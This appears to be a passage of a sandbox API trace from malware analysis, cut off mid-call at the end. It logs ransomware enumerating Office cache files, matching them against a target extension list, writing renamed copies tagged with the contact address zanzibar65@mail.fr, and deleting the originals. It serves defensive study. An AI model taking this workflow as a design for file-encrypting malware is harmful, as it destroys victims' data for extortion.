[0034.094] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString=".xls") returned 4 [0034.094] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString=".xlsx") returned 5 [0034.094] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.094] lstrlenW (lpString=".ppt") returned 4 [0034.094] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.094] lstrlenW (lpString=".zip") returned 4 [0034.094] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.094] lstrlenW (lpString=".rar") returned 4 [0034.094] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString=".bz2") returned 4 [0034.094] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString=".7z") returned 3 [0034.094] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.094] lstrlenW (lpString=".dbf") returned 4 [0034.094] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.094] lstrlenW (lpString=".1cd") returned 4 [0034.094] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.094] lstrlenW (lpString=".jpg") returned 4 [0034.094] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.094] lstrlenW (lpString=".doc") returned 4 [0034.095] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.095] lstrlenW (lpString=".docx") returned 5 [0034.095] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.095] lstrlenW (lpString=".pdf") returned 4 [0034.095] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.095] lstrlenW (lpString=".xls") returned 4 [0034.095] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.095] lstrlenW (lpString=".xlsx") returned 5 [0034.095] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.095] lstrlenW (lpString=".ppt") returned 4 [0034.095] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.095] lstrlenW (lpString=".zip") returned 4 [0034.095] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.095] lstrlenW (lpString=".rar") returned 4 [0034.095] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.095] lstrlenW (lpString=".bz2") returned 4 [0034.095] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.095] lstrlenW (lpString=".7z") returned 3 [0034.095] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.095] lstrlenW (lpString=".dbf") returned 4 [0034.095] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.095] lstrlenW (lpString=".1cd") returned 4 [0034.095] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.095] lstrlenW (lpString=".jpg") returned 4 [0034.095] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.096] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.096] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0034.096] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.097] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1450) returned 1 [0034.097] CloseHandle (hObject=0x17c) returned 1 [0034.097] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0034.097] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.098] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.098] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.098] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.098] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.098] GetLastError () returned 0x0 [0034.098] ReadFile (in: hFile=0x17c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x5aa, lpOverlapped=0x0) returned 1 [0034.100] WriteFile (in: hFile=0x180, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0034.100] ReadFile (in: hFile=0x17c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0034.100] WriteFile (in: hFile=0x180, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xf4, lpOverlapped=0x0) returned 1 [0034.101] SetEndOfFile (hFile=0x180) returned 1 [0034.101] CloseHandle (hObject=0x180) returned 1 [0034.101] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.101] SetEndOfFile (hFile=0x17c) returned 1 [0034.102] CloseHandle (hObject=0x17c) returned 1 [0034.102] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.102] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0034.103] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.103] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.103] lstrlenW (lpString=".doc") returned 4 [0034.103] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.103] lstrlenW (lpString=".docx") returned 5 [0034.103] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.103] lstrlenW (lpString=".pdf") returned 4 [0034.103] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.103] lstrlenW (lpString=".xls") returned 4 [0034.103] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.103] lstrlenW (lpString=".xlsx") returned 5 [0034.103] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.103] lstrlenW (lpString=".ppt") returned 4 [0034.103] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.103] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.103] lstrlenW (lpString=".zip") returned 4 [0034.103] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.103] lstrlenW (lpString=".rar") returned 4 [0034.103] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.103] lstrlenW (lpString=".bz2") returned 4 [0034.103] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.103] lstrlenW (lpString=".7z") returned 3 [0034.103] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.103] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.103] lstrlenW (lpString=".dbf") returned 4 [0034.103] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.103] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.103] lstrlenW (lpString=".1cd") returned 4 [0034.103] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.103] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.103] lstrlenW (lpString=".jpg") returned 4 [0034.103] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.104] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.104] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.104] lstrlenW (lpString=".doc") returned 4 [0034.104] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.104] lstrlenW (lpString=".docx") returned 5 [0034.104] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.104] lstrlenW (lpString=".pdf") returned 4 [0034.104] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.104] lstrlenW (lpString=".xls") returned 4 [0034.104] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.104] lstrlenW (lpString=".xlsx") returned 5 [0034.104] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.104] lstrlenW (lpString=".ppt") returned 4 [0034.104] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.104] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.104] lstrlenW (lpString=".zip") returned 4 [0034.104] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.104] lstrlenW (lpString=".rar") returned 4 [0034.104] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.104] lstrlenW (lpString=".bz2") returned 4 [0034.104] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.104] lstrlenW (lpString=".7z") returned 3 [0034.104] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.104] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.104] lstrlenW (lpString=".dbf") returned 4 [0034.104] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.104] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.104] lstrlenW (lpString=".1cd") returned 4 [0034.104] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.104] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.104] lstrlenW (lpString=".jpg") returned 4 [0034.104] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.105] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.105] lstrlenW (lpString="Setup.xml") returned 9 [0034.105] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.105] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1608) returned 1 [0034.105] CloseHandle (hObject=0x17c) returned 1 [0034.105] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.105] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.105] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.105] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.105] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.106] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.106] GetLastError () returned 0x0 [0034.106] ReadFile (in: hFile=0x17c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x648, lpOverlapped=0x0) returned 1 [0034.107] WriteFile (in: hFile=0x180, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x650, lpOverlapped=0x0) returned 1 [0034.108] ReadFile (in: hFile=0x17c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0034.108] WriteFile (in: hFile=0x180, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.108] SetEndOfFile (hFile=0x180) returned 1 [0034.108] CloseHandle (hObject=0x180) returned 1 [0034.109] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.109] SetEndOfFile (hFile=0x17c) returned 1 [0034.110] CloseHandle (hObject=0x17c) returned 1 [0034.110] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.110] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.110] lstrlenW (lpString=".doc") returned 4 [0034.110] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.110] lstrlenW (lpString=".docx") returned 5 [0034.110] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.110] lstrlenW (lpString=".pdf") returned 4 [0034.110] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.110] lstrlenW (lpString=".xls") returned 4 [0034.110] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.111] lstrlenW (lpString=".xlsx") returned 5 [0034.111] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.111] lstrlenW (lpString=".ppt") returned 4 [0034.111] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.111] lstrlenW (lpString=".zip") returned 4 [0034.111] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.111] lstrlenW (lpString=".rar") returned 4 [0034.111] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.111] lstrlenW (lpString=".bz2") returned 4 [0034.111] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.111] lstrlenW (lpString=".7z") returned 3 [0034.111] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.111] lstrlenW (lpString=".dbf") returned 4 [0034.111] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.111] lstrlenW (lpString=".1cd") returned 4 [0034.111] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.111] lstrlenW (lpString=".jpg") returned 4 [0034.111] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.111] lstrlenW (lpString=".doc") returned 4 [0034.111] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.111] lstrlenW (lpString=".docx") returned 5 [0034.111] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.111] lstrlenW (lpString=".pdf") returned 4 [0034.111] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.111] lstrlenW (lpString=".xls") returned 4 [0034.111] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.112] lstrlenW (lpString=".xlsx") returned 5 [0034.112] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.112] lstrlenW (lpString=".ppt") returned 4 [0034.351] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.351] lstrlenW (lpString=".zip") returned 4 [0034.351] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.351] lstrlenW (lpString=".rar") returned 4 [0034.351] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.351] lstrlenW (lpString=".bz2") returned 4 [0034.351] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.351] lstrlenW (lpString=".7z") returned 3 [0034.351] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.351] lstrlenW (lpString=".dbf") returned 4 [0034.351] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.351] lstrlenW (lpString=".1cd") returned 4 [0034.351] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.351] lstrlenW (lpString=".jpg") returned 4 [0034.351] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.352] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.352] lstrlenW (lpString="Office32MUI.xml") returned 15 [0034.352] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.353] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1383) returned 1 [0034.353] CloseHandle (hObject=0x174) returned 1 [0034.353] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0034.353] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.353] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.353] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.353] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.353] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.353] GetLastError () returned 0x0 [0034.353] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x567, lpOverlapped=0x0) returned 1 [0034.355] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x570, lpOverlapped=0x0) returned 1 [0034.356] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0034.356] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xf2, lpOverlapped=0x0) returned 1 [0034.356] SetEndOfFile (hFile=0x178) returned 1 [0034.356] CloseHandle (hObject=0x178) returned 1 [0034.357] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.357] SetEndOfFile (hFile=0x174) returned 1 [0034.358] CloseHandle (hObject=0x174) returned 1 [0034.358] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.358] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0034.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.358] lstrlenW (lpString=".doc") returned 4 [0034.358] lstrcmpiW 